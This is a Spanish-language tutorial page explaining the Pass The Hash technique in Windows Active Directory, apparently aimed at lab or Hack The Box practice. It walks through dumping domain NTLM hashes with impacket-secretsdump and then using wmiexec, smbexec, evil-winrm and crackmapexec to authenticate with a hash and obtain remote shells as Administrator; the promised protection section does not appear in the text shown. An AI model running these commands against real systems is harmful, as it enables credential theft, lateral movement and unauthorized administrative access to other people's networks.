> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/docs/active-directory/pass-the-hash.md).

# Pass The Hash

## Introducción

En un entorno Windows, **no siempre necesitas la contraseña de un usuario para hacerte pasar por él**. A veces, tener su **hash NTLM** es suficiente. Esta técnica, conocida como **Pass The Hash (PtH)**, permite autenticarse en servicios como SMB, WinRM o RDP usando solo el hash, sin descifrarlo.

En este artículo aprenderás:

* Qué es Pass The Hash y cómo funciona
* Cómo usarlo en ataques reales
* Herramientas como `impacket`, `crackmapexec` y `evil-winrm`
* Cómo protegerse contra esta técnica

***

## ¿Qué es Pass The Hash?

Cuando un usuario inicia sesión en un sistema Windows, su contraseña se convierte en un **hash NTLM** que se usa para autenticación en la red. Este hash puede ser capturado con herramientas como:

* `mimikatz`
* `secretsdump.py` (impacket)
* `smbserver.py` + Responder
* Dump de la base SAM

Con el hash en mano, puedes **inyectarlo directamente en una sesión SMB o WinRM** para hacerte pasar por el usuario.

**Ejemplo:**\
No necesitas saber que la contraseña de `Administrador` es `SuperSecret123`.\
Solo necesitas el hash NTLM correspondiente.

***

## Formato del hash NTLM

Los hashes se ven así:

```java
Administrator::DOMAIN:RID:LMHASH:NTLMHASH:::
```

Para Pass The Hash solo necesitas el **NTLMHASH** (último hash). Si el LM hash está vacío (`aad3b435b51404eeaad3b435b51404ee`), no importa.

***

## Herramientas necesarias

* [`impacket`](https://github.com/fortra/impacket) – herramientas para hacer autenticación SMB/WinRM con hash
* [`crackmapexec`](https://github.com/byt3bl33d3r/CrackMapExec) – swiss army knife para AD
* [`evil-winrm`](https://github.com/Hackplayers/evil-winrm) – para shells remotas usando WinRM

***

## Paso a paso: Autenticarse con un hash

#### Escenario

Ya has obtenido un hash NTLM válido de un usuario, por ejemplo con `secretsdump.py`:

```bash
impacket-secretsdump -just-dc -dc-ip 10.10.10.10 htb.local/admin:'SuperSecret123'
```

Resultado:

```java
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

Tomamos este NTLM hash: `31d6cfe0d16ae931b73c59d7e0c089c0`

***

## Opción 1: Usar `wmiexec.py` con Pass The Hash

```bash
impacket-wmiexec htb.local/Administrator@10.10.10.5 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
```

> Omitimos el LM hash con `:` al principio. Si tienes el LM hash, lo pones así: `LMHASH:NTHASH`.

***

## Opción 2: Usar `smbexec.py`

```bash
impacket-smbexec htb.local/Administrator@10.10.10.5 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
```

Esto te da una shell tipo "semi-interactiva" con privilegios del usuario.

***

## Opción 3: Usar `evil-winrm`

Si el servicio WinRM está activo:

```bash
evil-winrm -i 10.10.10.5 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d htb.local
```

Y boom, shell como Administrator.

***

## Opción 4: Usar `crackmapexec`

Puedes probar accesos rápidamente:

```bash
crackmapexec smb 10.10.10.5 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d htb.local
```

Si tienes acceso, te lo dirá. También puedes ejecutar comandos con `-x "whoami"`.

***

## Requisitos para que funcione

* La cuenta debe ser válida (usuario habilitado).
* El hash debe ser correcto (NTLM, no solo SHA1 o SHA256).
* El servicio debe aceptar autenticación NTLM (SMB, WinRM...).
* Algunos servicios pueden requerir el uso de LM hash si NTLM está deshabilitado (raro en entornos modernos).
